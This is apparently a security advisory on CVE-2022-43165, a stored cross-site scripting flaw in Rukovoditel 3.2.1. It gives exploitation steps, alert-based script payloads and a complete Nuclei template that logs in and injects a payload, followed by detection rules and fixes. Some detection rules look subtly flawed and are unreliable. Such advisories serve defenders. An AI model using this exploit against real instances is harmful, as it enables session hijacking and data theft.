CVE-2022-43165

Executive Summary

CVE-2022-43165 is a stored cross-site scripting (XSS) vulnerability in Rukovoditel version 3.2.1, specifically within the Global Variables feature. An authenticated attacker can inject arbitrary web scripts or HTML into the Value parameter when creating a new global variable. This vulnerability allows the attacker to execute malicious scripts in the context of any user who views the affected variable, leading to potential data theft, session hijacking, or application defacement. The vulnerability is publicly documented with a Nuclei template, confirming its exploitability. No official patch has been released by the vendor, making this a persistent risk for unpatched instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker must have authenticated access to the application.
• User Interaction: Required (UI:R) – The victim must view the malicious variable.
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited ability to modify content.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a vendor patch and the availability of a public exploit increase the risk for organizations using Rukovoditel 3.2.1.

Deep Dive & Mechanics

The vulnerability resides in the Global Variables feature, accessible via /index.php?module=global_vars/vars. When an authenticated user creates a new global variable, the Value parameter is not properly sanitized before being stored and later rendered in the application. An attacker can inject a payload such as <script>alert(document.domain)</script> into the Value field. When any user (including administrators) views the list of global variables, the injected script executes in their browser context.

The root cause is a lack of output encoding or input validation on the Value parameter. The application stores the user-supplied value directly into the database and then renders it without escaping HTML entities. This allows the browser to interpret the injected script as code.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel 3.2.1): The vulnerable code likely resides in the PHP file handling the display of global variables. It directly echoes the value field from the database without sanitization.

// Vulnerable: No escaping
echo $global_variable['value'];

Patched Code (Hypothetical): A proper fix would involve HTML entity encoding before output.

// Patched: HTML entity encoding
echo htmlspecialchars($global_variable['value'], ENT_QUOTES, 'UTF-8');

Since no official patch exists, users must implement this fix manually or apply a WAF rule.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Authenticated session on a Rukovoditel 3.2.1 instance.
• Access to the Global Variables feature.

Steps:

1. Log in to the Rukovoditel application.
2. Navigate to index.php?module=global_vars/vars.
3. Click "Create" to add a new global variable.
4. In the Value field, inject a payload such as:

   <script>alert(document.cookie)</script>
   

5. Set the Name field to any value (e.g., "test").
6. Submit the form.
7. When any user views the global variables list, the script executes.

Nuclei Template (Provided): The following Nuclei template automates the exploitation process.

id: CVE-2022-43165

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability in the Global Variables feature (/index.php?module=global_vars/vars) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Value parameter after clicking "Create".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/5
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43165
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-43165
    cwe-id: CWE-79
    epss-score: 0.04487
    epss-percentile: 0.89156
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=global_vars/vars&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&is_folder=0&name=1&value=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&notes=&sort_order=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP POST requests to /index.php?module=global_vars/vars&action=save for suspicious value parameters containing <script> tags or other HTML/JavaScript.
• Look for anomalous value parameters that are URL-encoded with common XSS payloads (e.g., %3Cscript%3E).
• Use WAF rules to block requests with value parameters containing <script> or onerror= attributes.

Defense:

• Apply input validation and output encoding to the Value parameter.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict access to the Global Variables feature to trusted administrators only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /index.php?module=global_vars/vars&action=save with value parameter containing encoded or plain XSS payloads.
  • Repeated requests to /index.php?module=global_vars/vars from a single authenticated session.
• File IOCs:
  • Database entries in the global_vars table with value fields containing <script> tags.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the context of the Rukovoditel application.
  • Unauthorized cookie exfiltration or session hijacking attempts.

Detection Engineering

YARA Rule

rule CVE_2022_43165_Rukovoditel_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel global variables"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-43165"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: CVE-2022-43165 - Stored XSS in Rukovoditel Global Variables
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel via the Global Variables feature.
author: Valters IT
date: 2025/04/14
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43165
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php?module=global_vars/vars&action=save'
        cs-uri-query|contains: 'value='
    filter:
        cs-uri-query|contains: 'value=test'
    condition: selection and not filter
falsepositives:
    - Legitimate use of HTML in global variable values (unlikely)
level: high
tags:
    - attack.t1190
    - cve.2022.43165

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-43165 - Stored XSS in Rukovoditel Global Variables"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?module=global_vars/vars&action=save"; http_uri; content:"value="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
2. Manual Code Fix: Modify the PHP file that displays global variables to use htmlspecialchars() on the value field.
3. WAF Rules: Deploy a Web Application Firewall rule to block requests containing <script> in the value parameter.
4. Access Control: Restrict access to the Global Variables feature to only essential administrators.

Long-Term Measures:

• Implement a Content Security Policy (CSP) to prevent execution of inline scripts.
• Conduct regular security audits of the Rukovoditel application.
• Monitor for vendor updates and apply patches promptly.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: DA7B7CF80BC995C398B2EE42] */}